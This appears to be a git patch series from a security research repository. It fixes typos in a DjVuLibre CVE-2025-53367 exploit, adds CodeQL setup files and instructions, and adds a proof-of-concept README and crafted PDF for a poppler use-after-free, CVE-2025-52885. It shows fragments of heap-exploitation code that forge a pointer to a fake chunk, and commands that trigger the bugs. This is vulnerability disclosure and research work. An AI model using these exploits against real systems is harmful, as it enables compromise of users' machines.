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 U2N_6}7YRs}m-R4JUIH5a2hin%EC2ui literal 0 HcmV?d00001 From f920f692745bcf9dc975afe55d9c55aa1cdf9c6f Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 18 Jul 2025 16:14:52 +0100 Subject: [PATCH 04/18] Fix typos --- .../DjVuLibre-poc-CVE-2025-53367.diff | 4 ++-- .../DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff index 44151b2..8104f7d 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff @@ -68,7 +68,7 @@ index a87a83b..b88923b 100644 private: friend class JB2Codec; diff --git a/tools/c44.cpp b/tools/c44.cpp -index df73468..199079a 100644 +index df73468..145caff 100644 --- a/tools/c44.cpp +++ b/tools/c44.cpp @@ -211,6 +211,8 @@ @@ -1261,7 +1261,7 @@ index df73468..199079a 100644 +// this function finishes. dst is the destination of the memcpy. dst +// needs to point to a fake chunk, which will get freed and then +// immediately reallocated. size is the number of bytes that will be -+// memcpy'd, which much match the size of the fake chunk at dst. ++// memcpy'd, which must match the size of the fake chunk at dst. +static void prepare_fake_bitmap_for_memcpy(BitPacker &packer, size_t &lineno, + uint16_t dst, uint16_t size) { + // Forge a pointer to dst in fake_rlerows. diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md index 48edc34..dcfdcf0 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -50,7 +50,7 @@ aa-exec -d -v -p /usr/bin/papers /bin/bash -c "echo 1337 > ~/pwned.txt" We published this (much simpler) version of the poc sooner, to help people quickly test whether they're running a vulnerable version of -DjVuLibre.This poc only causes the DjVuLibre library to crash. +DjVuLibre. This poc only causes the DjVuLibre library to crash. [Fuzzer-generated poc file](./fuzzer-poc.djvu) From a7d34a19410044e7040c48b2bfe00cfdf70906db Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 12:16:18 +0000 Subject: [PATCH 05/18] Add devcontainer with VS Code CodeQL extension --- .devcontainer/devcontainer.json | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 .devcontainer/devcontainer.json diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json new file mode 100644 index 0000000..10b73eb --- /dev/null +++ b/.devcontainer/devcontainer.json @@ -0,0 +1,27 @@ +{ + "customizations": { + "codespaces": { + "extensions": [ + "github.vscode-codeql" + ], + "settings": { + "codeQL.runningQueries.memory": 4096, + "codeQL.runningQueries.autoSave": true, + "CodeQL.canary.enabled": true + } + }, + "vscode": { + "extensions": [ + "github.vscode-codeql" + ], + "settings": { + "codeQL.runningQueries.memory": 4096, + "CodeQL.canary.enabled": true + }, + } + }, + "postCreateCommand": "", + "hostRequirements": { + "memory": "16gb" + } + } \ No newline at end of file From 353aff3e60f33048bf5a266a576bb5ee2a5220f0 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 12:32:26 +0000 Subject: [PATCH 06/18] Update cpp qlpack --- CodeQL_Queries/cpp/codeql-pack.lock.yml | 22 ++++++++++++++++++++++ CodeQL_Queries/cpp/qlpack.yml | 3 ++- 2 files changed, 24 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/cpp/codeql-pack.lock.yml diff --git a/CodeQL_Queries/cpp/codeql-pack.lock.yml b/CodeQL_Queries/cpp/codeql-pack.lock.yml new file mode 100644 index 0000000..9e6ef6f --- /dev/null +++ b/CodeQL_Queries/cpp/codeql-pack.lock.yml @@ -0,0 +1,22 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/cpp-all: + version: 0.12.11 + codeql/dataflow: + version: 0.2.5 + codeql/rangeanalysis: + version: 0.0.13 + codeql/ssa: + version: 0.2.14 + codeql/tutorial: + version: 0.2.14 + codeql/typeflow: + version: 0.0.1 + codeql/typetracking: + version: 0.2.14 + codeql/util: + version: 0.2.14 + codeql/xml: + version: 0.0.1 +compiled: false diff --git a/CodeQL_Queries/cpp/qlpack.yml b/CodeQL_Queries/cpp/qlpack.yml index 12a2c1b..79fb96a 100644 --- a/CodeQL_Queries/cpp/qlpack.yml +++ b/CodeQL_Queries/cpp/qlpack.yml @@ -1,3 +1,4 @@ name: codeql-demos-cpp version: 0.0.0 -libraryPathDependencies: codeql-cpp +dependencies: + codeql/cpp-all: ^0.12.0 From 7ea73e9eb5489f089f6973b20a5b53d3720c630f Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 12:48:31 +0000 Subject: [PATCH 07/18] Update csharp qlpack files --- CodeQL_Queries/csharp/codeql-pack.lock.yml | 18 ++++++++++++++++++ CodeQL_Queries/csharp/qlpack.yml | 3 ++- 2 files changed, 20 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/csharp/codeql-pack.lock.yml diff --git a/CodeQL_Queries/csharp/codeql-pack.lock.yml b/CodeQL_Queries/csharp/codeql-pack.lock.yml new file mode 100644 index 0000000..f9e4322 --- /dev/null +++ b/CodeQL_Queries/csharp/codeql-pack.lock.yml @@ -0,0 +1,18 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/controlflow: + version: 0.0.4 + codeql/csharp-all: + version: 0.7.5 + codeql/dataflow: + version: 0.0.4 + codeql/mad: + version: 0.1.5 + codeql/ssa: + version: 0.1.5 + codeql/tutorial: + version: 0.1.5 + codeql/util: + version: 0.1.5 +compiled: false diff --git a/CodeQL_Queries/csharp/qlpack.yml b/CodeQL_Queries/csharp/qlpack.yml index a6e22f5..9043685 100644 --- a/CodeQL_Queries/csharp/qlpack.yml +++ b/CodeQL_Queries/csharp/qlpack.yml @@ -1,3 +1,4 @@ name: codeql-demos-csharp version: 0.0.0 -libraryPathDependencies: codeql-csharp +dependencies: + codeql/csharp-all: ^0.7.3 From 90deeccef40163c74114b20a598608d950fcbdfb Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 13:00:39 +0000 Subject: [PATCH 08/18] Update java qlpack files --- CodeQL_Queries/java/codeql-pack.lock.yml | 20 ++++++++++++++++++++ CodeQL_Queries/java/qlpack.yml | 3 ++- 2 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/java/codeql-pack.lock.yml diff --git a/CodeQL_Queries/java/codeql-pack.lock.yml b/CodeQL_Queries/java/codeql-pack.lock.yml new file mode 100644 index 0000000..145615c --- /dev/null +++ b/CodeQL_Queries/java/codeql-pack.lock.yml @@ -0,0 +1,20 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/dataflow: + version: 0.0.4 + codeql/java-all: + version: 0.7.5 + codeql/mad: + version: 0.1.5 + codeql/regex: + version: 0.1.5 + codeql/ssa: + version: 0.1.5 + codeql/tutorial: + version: 0.1.5 + codeql/typetracking: + version: 0.1.5 + codeql/util: + version: 0.1.5 +compiled: false diff --git a/CodeQL_Queries/java/qlpack.yml b/CodeQL_Queries/java/qlpack.yml index 42457d1..67c920d 100644 --- a/CodeQL_Queries/java/qlpack.yml +++ b/CodeQL_Queries/java/qlpack.yml @@ -1,3 +1,4 @@ name: codeql-demos-java version: 0.0.0 -libraryPathDependencies: codeql-java +dependencies: + codeql/java-all: ^0.7.0 From 7a9811112c682aa754b9bf0fe1070450bae2f772 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 13:16:47 +0000 Subject: [PATCH 09/18] Update JS qlpack files --- CodeQL_Queries/javascript/codeql-pack.lock.yml | 6 ++++++ CodeQL_Queries/javascript/qlpack.yml | 4 +++- 2 files changed, 9 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/javascript/codeql-pack.lock.yml diff --git a/CodeQL_Queries/javascript/codeql-pack.lock.yml b/CodeQL_Queries/javascript/codeql-pack.lock.yml new file mode 100644 index 0000000..8c25940 --- /dev/null +++ b/CodeQL_Queries/javascript/codeql-pack.lock.yml @@ -0,0 +1,6 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/javascript-all: + version: 0.3.0 +compiled: false diff --git a/CodeQL_Queries/javascript/qlpack.yml b/CodeQL_Queries/javascript/qlpack.yml index 0c9e262..716a3c7 100644 --- a/CodeQL_Queries/javascript/qlpack.yml +++ b/CodeQL_Queries/javascript/qlpack.yml @@ -1,3 +1,5 @@ name: codeql-demos-javascript version: 0.0.0 -libraryPathDependencies: codeql-javascript +dependencies: + codeql/javascript-all: 0.3.0 + From e52d884d2d73d5f63b9f84ba7b5c0092a8278c46 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 13:18:49 +0000 Subject: [PATCH 10/18] Add intructions for query running --- CodeQL_Queries/README.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 CodeQL_Queries/README.md diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md new file mode 100644 index 0000000..a749dcd --- /dev/null +++ b/CodeQL_Queries/README.md @@ -0,0 +1,19 @@ +To run the queries in this repository: +1. Click the green "Code" button > Codespaces > Create a codespace on main. A new codespace will be created for you with VS Code CodeQL extension preinstalled. +2. When the codespace finishes setting up, open the terminal, and find the path to the codeql binary (which comes preinstalled with the VS Code CodeQL extension) with the command: +```bash +find ~ -type f -name codeql -executable 2>/dev/null +``` +It will most likely look similar to this: +``` +/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql +``` +3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install, for example: +```bash +cd cpp +/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install +``` +This will install the CodeQL library files required to run the CodeQL queries. +4. Press `Ctrl/Cmd + Shift + R` to reload the window to see syntax highlighting etc. +5. Check the README in the folder with the query you are interested in, and add the database listed in the README to your VS Code CodeQL extension. +6. Open the query file you are interested in, right-click and choose `CodeQL: Run Query on selected database` from the dropdowns. From df232612781018f880dc507001838fe1d2e7e3db Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 15:33:36 +0200 Subject: [PATCH 11/18] Update CodeQL_Queries/README.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- CodeQL_Queries/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md index a749dcd..81ee49d 100644 --- a/CodeQL_Queries/README.md +++ b/CodeQL_Queries/README.md @@ -8,7 +8,7 @@ It will most likely look similar to this: ``` /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql ``` -3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install, for example: +3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install`, for example: ```bash cd cpp /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install From 013bc3b19a46bbce54afb73d66254f9807a15638 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 15:35:29 +0200 Subject: [PATCH 12/18] Update README.md --- CodeQL_Queries/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md index 81ee49d..7c973da 100644 --- a/CodeQL_Queries/README.md +++ b/CodeQL_Queries/README.md @@ -8,7 +8,7 @@ It will most likely look similar to this: ``` /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql ``` -3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install`, for example: +3. Go to the language folder with the query you want to run, and using the CodeQL binary, run `codeql pack install`. For example: ```bash cd cpp /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install From 90c4d88ffe1e771eef72b24dcfd1d4daea886286 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Fri, 29 Aug 2025 13:41:22 +0200 Subject: [PATCH 13/18] Update intructions --- CodeQL_Queries/README.md | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md index 7c973da..1b8a73e 100644 --- a/CodeQL_Queries/README.md +++ b/CodeQL_Queries/README.md @@ -1,19 +1,6 @@ To run the queries in this repository: 1. Click the green "Code" button > Codespaces > Create a codespace on main. A new codespace will be created for you with VS Code CodeQL extension preinstalled. -2. When the codespace finishes setting up, open the terminal, and find the path to the codeql binary (which comes preinstalled with the VS Code CodeQL extension) with the command: -```bash -find ~ -type f -name codeql -executable 2>/dev/null -``` -It will most likely look similar to this: -``` -/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql -``` -3. Go to the language folder with the query you want to run, and using the CodeQL binary, run `codeql pack install`. For example: -```bash -cd cpp -/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install -``` -This will install the CodeQL library files required to run the CodeQL queries. +2. When the codespace finishes setting up, press `Ctrl/CMD + Shift + P` and type `CodeQL: Install Pack Dependencies`. Choose the queries you are interested in from the dropdown and press `OK`. This will install the CodeQL library files required to run the CodeQL queries. 4. Press `Ctrl/Cmd + Shift + R` to reload the window to see syntax highlighting etc. 5. Check the README in the folder with the query you are interested in, and add the database listed in the README to your VS Code CodeQL extension. 6. Open the query file you are interested in, right-click and choose `CodeQL: Run Query on selected database` from the dropdowns. From 13560528e5f4ac6617c771fb9d60837645144ce0 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 14 Oct 2025 13:00:28 +0100 Subject: [PATCH 14/18] Proof of concept for poppler CVE-2025-52885 --- .../poppler-CVE-2025-52885/README.md | 28 ++++++++++++++++++ .../poppler-CVE-2025-52885/bug.pdf | Bin 0 -> 8987 bytes 2 files changed, 28 insertions(+) create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md new file mode 100644 index 0000000..859f7b6 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md @@ -0,0 +1,28 @@ +# Proof of concept for poppler CVE-2025-52885 + +CVE-2025-52885 is a use-after-free vulnerability in +[poppler](https://gitlab.freedesktop.org/poppler). The bug is in +[StructTreeRoot.cc](https://gitlab.freedesktop.org/poppler/poppler/-/blob/2a3135888b6079f0a9fd6410ff65351482087b50/poppler/StructTreeRoot.cc). As +far as we know, this code is only used when one of poppler's command +line tools is run with a non-default command line option, so the +vulnerability does not affect the most common uses of poppler. + +This directory contains a poc which triggers the bug. To run it: + +```bash +pdfinfo -struct bug.pdf +``` + +In our testing, this causes `pdfinfo` to crash with the following error message: + +``` +free(): invalid next size (fast) +Aborted +``` + +## Links: + +* https://gitlab.freedesktop.org/poppler/poppler/-/issues/1580 +* https://gitlab.freedesktop.org/poppler/poppler/-/merge_requests/1884 +* https://securitylab.github.com/advisories/GHSL-2025-042_poppler/ +* https://www.openwall.com/lists/oss-security/2025/10/13/2 diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf new file mode 100644 index 0000000000000000000000000000000000000000..57b7c92aa4442c21aa570ab0de190ba2f4aa0827 GIT binary patch literal 8987 zcmeGiO>f*p)Ggw$mJkt~Xb(Iws-8^q$&MSsdn0|XT~#c=6%06W90`^ zHPzWDw!?ToWLm0tEto=cPDS6U!f+4l4#J?syrgk&XMFIYRF2Fe91y%*hUF6w> znhe0lz!b|xJD?!ySugrcbcpVExY3}*b45m&_#BmB%`E6pifOzjVT;lzM1s+ zXo?)xb$#Z%En)TgV+$ST1)qbB=4aOq@1b;%nomurWaCvGs-~>*)75IFidG@(Gg2$y z1H8#Cg)s-I@lQ>~v@}SV6LSuP{Z5U~CTVHlu~mBy<&7*(MGQ$-GG+#VSaX|Tp`}oi z8dRalYgaVw_)kS!VI}Q&jGi417`cm2h2HXBe+SJocN1^94;f4%%S&xoThs3}RSt*$ z6ep2Q$4Td#eA2L`CE$f6tYirVz8aMg1zr#Z%tf{pI2eEN*h&Nrkcj+KNiR89A?2yu zrfM+@l9g7$b-!eQ5g$N>ba>e%*8|%1`D<76o5}0nQ*8z{G*h4cHc;hNMK?(GU(Pm$ zX*5P_6xOsJXg8pG83P#|9;7+r@;kP_@sAHcZw9y@5r!vQ z=%O9Nk`hxqXE`bRefhR%;S^k1DjzMPzmI4$++#qk<~#R0cYWvZ@K9G2{5?FZVd(k@ z;W{<^Ik<4~0{s_-ql3sTBkl<$>j~nxh_(ngLn^c1BeyR~Tt~#_?TBr}80?U_M&b-W zJ0LQ0Xu?Ni@B~WQl8-ur;eiAeWtt?;==zR-RMJ*l{~pR1$)T2|DMI+BQ3%iT%;r*_ z#6$@6W1J8QG7lp!KVqV*RzrnJiSQj!0-&E05&zfGA^SW_;#67d?NVZ65Qe$Z{(wd= z0^+BQ#o?6%${#^oDygMkb4B3Ikuj@FyS^bbGAEcrMM;vNo6k^C 